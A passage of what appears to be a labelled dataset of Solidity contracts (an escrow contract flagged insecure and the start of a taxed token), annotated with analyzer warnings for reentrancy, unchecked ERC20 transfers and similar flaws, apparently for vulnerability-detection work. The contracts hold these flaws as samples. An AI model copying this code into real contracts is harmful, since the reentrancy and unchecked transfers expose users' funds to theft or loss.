_sendFunds(_contractId, _contract.payer, milestone.value);\n\n milestone.inDispute = false;\n }\n }\n\n emit DisputeResolved(_contractId, dispute.milestoneId, inFavorOfPayee);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f2c1876): SendrEscrow._sendFunds(uint256,address,uint256) ignores return value by token.transfer(recipient,remainingAmount)\n\t// Recommendation for f2c1876: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 06fd251): SendrEscrow._sendFunds(uint256,address,uint256) ignores return value by token.transfer(FEE_WALLET,fee)\n\t// Recommendation for 06fd251: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 442b5ee): SendrEscrow._sendFunds(uint256,address,uint256) sends eth to arbitrary user Dangerous calls address(FEE_WALLET).transfer(fee)\n\t// Recommendation for 442b5ee: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _sendFunds(\n uint256 _contractId,\n address recipient,\n uint256 amount\n ) internal {\n require(FEE_WALLET != address(0), \"Fee wallet not set\");\n\n Contract storage _contract = contracts[_contractId];\n\n uint256 fee = (amount * CONTRACT_FEE) / 10000;\n\n uint256 remainingAmount = amount - fee;\n\n if (_contract.tokenAddress == address(0)) {\n\t\t\t// reentrancy-events | ID: 0963ce3\n\t\t\t// reentrancy-eth | ID: 0ae2dd4\n\t\t\t// reentrancy-eth | ID: e8902b2\n\t\t\t// reentrancy-eth | ID: d2e9fab\n\t\t\t// reentrancy-eth | ID: 1e06d1f\n\t\t\t// arbitrary-send-eth | ID: 442b5ee\n payable(FEE_WALLET).transfer(fee);\n\n\t\t\t// reentrancy-events | ID: 0963ce3\n\t\t\t// reentrancy-eth | ID: 0ae2dd4\n\t\t\t// reentrancy-eth | ID: e8902b2\n\t\t\t// reentrancy-eth | ID: d2e9fab\n\t\t\t// reentrancy-eth | ID: 1e06d1f\n payable(recipient).transfer(remainingAmount);\n } else {\n IERC20 token = IERC20(_contract.tokenAddress);\n\n\t\t\t// reentrancy-events | ID: 0963ce3\n\t\t\t// unchecked-transfer | ID: 06fd251\n\t\t\t// reentrancy-eth | ID: 0ae2dd4\n\t\t\t// reentrancy-eth | ID: e8902b2\n\t\t\t// reentrancy-eth | ID: d2e9fab\n\t\t\t// reentrancy-eth | ID: 1e06d1f\n token.transfer(FEE_WALLET, fee);\n\n\t\t\t// reentrancy-events | ID: 0963ce3\n\t\t\t// unchecked-transfer | ID: f2c1876\n\t\t\t// reentrancy-eth | ID: 0ae2dd4\n\t\t\t// reentrancy-eth | ID: e8902b2\n\t\t\t// reentrancy-eth | ID: d2e9fab\n\t\t\t// reentrancy-eth | ID: 1e06d1f\n token.transfer(recipient, remainingAmount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f31035): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f31035: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4884835): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4884835: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createContract(\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones,\n address _payer,\n address _payee,\n address _tokenAddress,\n string memory _title,\n string memory _id\n ) public payable {\n require(\n msg.sender == _payer || msg.sender == _payee,\n \"Contract creator must be the payer or payee\"\n );\n\n require(_payer != _payee, \"Payer and Payee addresses must differ\");\n\n require(\n _values.length == _numMilestones &&\n _titles.length == _numMilestones,\n \"Invalid number of milestones\"\n );\n\n uint256 toSend = 0;\n\n address _signer;\n\n if (msg.sender == _payer) {\n _signer = _payee;\n\n for (uint256 i = 0; i < _values.length; i++) {\n toSend += _values[i];\n }\n\n if (_tokenAddress != address(0)) {\n\t\t\t\t// reentrancy-events | ID: 4f31035\n\t\t\t\t// reentrancy-benign | ID: 4884835\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n ),\n \"ERC20 transfer failed\"\n );\n\n\t\t\t\t// reentrancy-benign | ID: 4884835\n fundedStatus[contractCount] = true;\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n\n fundedStatus[contractCount] = true;\n }\n } else {\n _signer = _payer;\n }\n\n Milestone[] memory milestones = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n milestones[i] = Milestone(\n contractCount,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n Contract storage newContract = contracts[contractCount];\n\n\t\t// reentrancy-benign | ID: 4884835\n newContract.payer = _payer;\n\n\t\t// reentrancy-benign | ID: 4884835\n newContract.payee = _payee;\n\n\t\t// reentrancy-benign | ID: 4884835\n newContract.title = _title;\n\n\t\t// reentrancy-benign | ID: 4884835\n newContract.tokenAddress = _tokenAddress;\n\n\t\t// reentrancy-benign | ID: 4884835\n newContract.contractId = contractCount;\n\n if (msg.sender == _payer) {\n\t\t\t// reentrancy-benign | ID: 4884835\n newContract.valueRemaining = _totalValue;\n } else {\n\t\t\t// reentrancy-benign | ID: 4884835\n newContract.valueRemaining = 0;\n }\n\n\t\t// reentrancy-benign | ID: 4884835\n newContract.active = false;\n\n for (uint256 i = 0; i < milestones.length; i++) {\n\t\t\t// reentrancy-benign | ID: 4884835\n newContract.milestones.push(milestones[i]);\n }\n\n\t\t// reentrancy-benign | ID: 4884835\n signer[contractCount] = _signer;\n\n\t\t// reentrancy-events | ID: 4f31035\n emit ContractCreated(contractCount, _payer, _payee, _title, _id);\n\n\t\t// reentrancy-benign | ID: 4884835\n contractCount += 1;\n }\n\n function _generateMilestoneArray(\n uint256 _contractId,\n uint256[] memory _values,\n string[] memory _titles,\n uint256 _numMilestones\n ) internal pure returns (Milestone[] memory, uint256) {\n Milestone[] memory toReturn = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n toReturn[i] = Milestone(\n _contractId,\n _values[i],\n _titles[i],\n false,\n false\n );\n }\n\n return (toReturn, _totalValue);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ea75fe9): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ea75fe9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6f5cf1d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6f5cf1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 339739c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 339739c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4c9dc67): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4c9dc67: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 906691d): SendrEscrow.signContract(uint256) uses a dangerous strict equality require(bool,string)(toSend == newBalance currentBalance,Transfer failed)\n\t// Recommendation for 906691d: Don't use strict equality to determine if an account has enough Ether or tokens.\n function signContract(uint256 _contractId) public payable {\n Contract storage _contract = contracts[_contractId];\n\n address _signer = signer[_contractId];\n\n require(_signer == msg.sender, \"You are not the signer\");\n\n\t\t// timestamp | ID: ea75fe9\n require(!_contract.active, \"Contract already active\");\n\n\t\t// timestamp | ID: ea75fe9\n require(!_contract.inDispute, \"Contract in dispute\");\n\n uint256 toSend = 0;\n\n if (_signer == _contract.payer) {\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n toSend += _contract.milestones[i].value;\n }\n\n if (_contract.tokenAddress != address(0)) {\n address _tokenAddress = _contract.tokenAddress;\n\n uint256 currentBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\n\t\t\t\t// reentrancy-events | ID: 6f5cf1d\n\t\t\t\t// reentrancy-benign | ID: 339739c\n\t\t\t\t// reentrancy-no-eth | ID: 4c9dc67\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n )\n );\n\n uint256 newBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\n\t\t\t\t// incorrect-equality | ID: 906691d\n require(\n toSend == newBalance - currentBalance,\n \"Transfer failed\"\n );\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n }\n\n\t\t\t// reentrancy-benign | ID: 339739c\n fundedStatus[_contractId] = true;\n\n\t\t\t// reentrancy-no-eth | ID: 4c9dc67\n _contract.valueRemaining = toSend;\n }\n\n\t\t// reentrancy-no-eth | ID: 4c9dc67\n _contract.active = true;\n\n\t\t// reentrancy-no-eth | ID: 4c9dc67\n _contract.startBlock = block.timestamp;\n\n\t\t// reentrancy-events | ID: 6f5cf1d\n emit ContractSigned(\n _contractId,\n _contract.payer,\n _contract.payee,\n _contract.title\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0963ce3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0963ce3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e8902b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e8902b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function releaseMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(_contract.active, \"Contract inactive\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Not a valid party of the contract\"\n );\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone in dispute\");\n\n require(!milestone.released, \"Milestone already released\");\n\n bool _payerSigned = payerSignedMilestone[_contractId][_milestoneId];\n\n bool _payeeSigned = payeeSignedMilestone[_contractId][_milestoneId];\n\n if (msg.sender == _contract.payer) {\n require(!_payerSigned, \"Already signed this milestone\");\n\n payerSignedMilestone[_contractId][_milestoneId] = true;\n\n _payerSigned = true;\n } else {\n require(!_payeeSigned, \"Already signed this milestone\");\n\n payeeSignedMilestone[_contractId][_milestoneId] = true;\n\n _payeeSigned = true;\n }\n\n if (_payerSigned && _payeeSigned) {\n milestone.released = true;\n\n\t\t\t// reentrancy-events | ID: 0963ce3\n\t\t\t// reentrancy-eth | ID: e8902b2\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n\t\t\t// reentrancy-eth | ID: e8902b2\n _contract.valueRemaining -= milestone.value;\n\n\t\t\t// reentrancy-events | ID: 0963ce3\n emit MilestoneReleased(\n _contractId,\n _contract.payer,\n _contract.payee,\n milestone.title\n );\n }\n }\n\n function disputeMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(!_contract.inDispute, \"This contract is already in dispute\");\n\n Milestone[] storage _milestones = _contract.milestones;\n\n require(\n !_milestones[_milestoneId].inDispute,\n \"Milestone is already in dispute\"\n );\n\n _milestones[_milestoneId].inDispute = true;\n\n emit MilestoneDisputed(_contractId, _milestoneId);\n }\n\n function disputeContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(_contract.valueRemaining > 0, \"Contract empty\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n _contract.inDispute = true;\n\n emit ContractDisputed(_contractId);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c0a974f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c0a974f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 049984e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 049984e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 48b79b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 48b79b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 29a9a2c): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for 29a9a2c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fe8397e): SendrEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for fe8397e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f8ffb3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f8ffb3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d362bb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d362bb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function voidContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n bool _senderStatus = voidCheck[msg.sender][_contractId];\n\n require(!_senderStatus, \"Already voided on your end\");\n\n voidCheck[msg.sender][_contractId] = true;\n\n if (!_contract.active && msg.sender == _contract.payer) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-events | ID: c0a974f\n\t\t\t\t// reentrancy-events | ID: 049984e\n\t\t\t\t// reentrancy-eth | ID: f8ffb3e\n\t\t\t\t// reentrancy-eth | ID: d362bb0\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-events | ID: c0a974f\n\t\t\t\t// reentrancy-events | ID: 049984e\n\t\t\t\t// reentrancy-no-eth | ID: 48b79b8\n\t\t\t\t// unchecked-transfer | ID: 29a9a2c\n\t\t\t\t// reentrancy-eth | ID: f8ffb3e\n\t\t\t\t// reentrancy-eth | ID: d362bb0\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 48b79b8\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-events | ID: c0a974f\n emit ContractVoided(_contractId);\n }\n\n address _otherParty;\n\n if (msg.sender == _contract.payer) {\n _otherParty = _contract.payee;\n } else {\n _otherParty = _contract.payer;\n }\n\n bool _otherPartyStatus = voidCheck[_otherParty][_contractId];\n\n if (_otherPartyStatus) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-events | ID: 049984e\n\t\t\t\t// reentrancy-eth | ID: f8ffb3e\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n\t\t\t\t// reentrancy-eth | ID: f8ffb3e\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-events | ID: 049984e\n\t\t\t\t// unchecked-transfer | ID: fe8397e\n\t\t\t\t// reentrancy-eth | ID: d362bb0\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: d362bb0\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-events | ID: 049984e\n emit ContractVoided(_contractId);\n }\n }\n\n function getMilestones(\n uint256 _contractId\n ) external view returns (Milestone[] memory milestones) {\n Contract storage _contract = contracts[_contractId];\n\n uint256 length = _contract.milestones.length;\n\n milestones = new Milestone[](length);\n\n for (uint256 i = 0; i < length; i++) {\n milestones[i] = _contract.milestones[i];\n }\n }\n}", "file_name": "solidity_code_891.sol", "secure": 0, "size_bytes": 34441 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GSI6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n mapping(address => bool) public marketPair;\n\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfc34ad): GSI6900._initialBuyTax should be constant \n\t// Recommendation for cfc34ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a4e254): GSI6900._initialSellTax should be constant \n\t// Recommendation for 7a4e254: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f4f126): GSI6900._finalBuyTax should be constant \n\t// Recommendation for 4f4f126: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dc4f66): GSI6900._finalSellTax should be constant \n\t// Recommendation for 9dc4f66: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b62690): GSI6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 8b62690: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f27b78f): GSI6900._reduceSellTaxAt should be constant \n\t// Recommendation for f27b78f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80983b0): GSI6900._preventSwapBefore should be constant \n\t// Recommendation for 80983b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GSI6900\";\n\n string private constant _symbol = unicode\"GSI\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d1e653): GSI6900._taxSwapThreshold should be constant \n\t// Recommendation for 2d1e653: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal / 100 / 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 724979d): GSI6900._maxTaxSwap should be constant \n\t// Recommendation for 724979d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6fc426): GSI6900.caCount should be constant \n\t// Recommendation for a6fc426: Add the 'constant' attribute to state variables that never change.\n uint256 public caCount = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 957b655): GSI6900.caButton should be constant \n\t// Recommendation for 957b655: Add the 'constant' attribute to state variables that never change.\n bool public caButton = true;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9bAfb5079eE5Fa32d96b98e782AAB574555dF928);\n\n _balances[_msgSender()] = _tTotal;\n\n isExcludedFromFee[owner()] = true;\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b648d33): GSI6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b648d33: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 01dfcf7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 01dfcf7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2089ac1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2089ac1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 01dfcf7\n\t\t// reentrancy-benign | ID: 2089ac1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 01dfcf7\n\t\t// reentrancy-benign | ID: 2089ac1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ddff957): GSI6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ddff957: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2089ac1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 01dfcf7\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9a16463): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9a16463: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0e1f919): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0e1f919: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0e66c49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0e66c49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caButton &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caCount, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 9a16463\n\t\t\t\t// reentrancy-eth | ID: 0e1f919\n\t\t\t\t// reentrancy-eth | ID: 0e66c49\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9a16463\n\t\t\t\t\t// reentrancy-eth | ID: 0e1f919\n\t\t\t\t\t// reentrancy-eth | ID: 0e66c49\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0e66c49\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0e66c49\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 9a16463\n\t\t\t\t// reentrancy-eth | ID: 0e1f919\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9a16463\n\t\t\t\t\t// reentrancy-eth | ID: 0e1f919\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0e1f919\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9a16463\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0e1f919\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0e1f919\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9a16463\n emit Transfer(from, to, 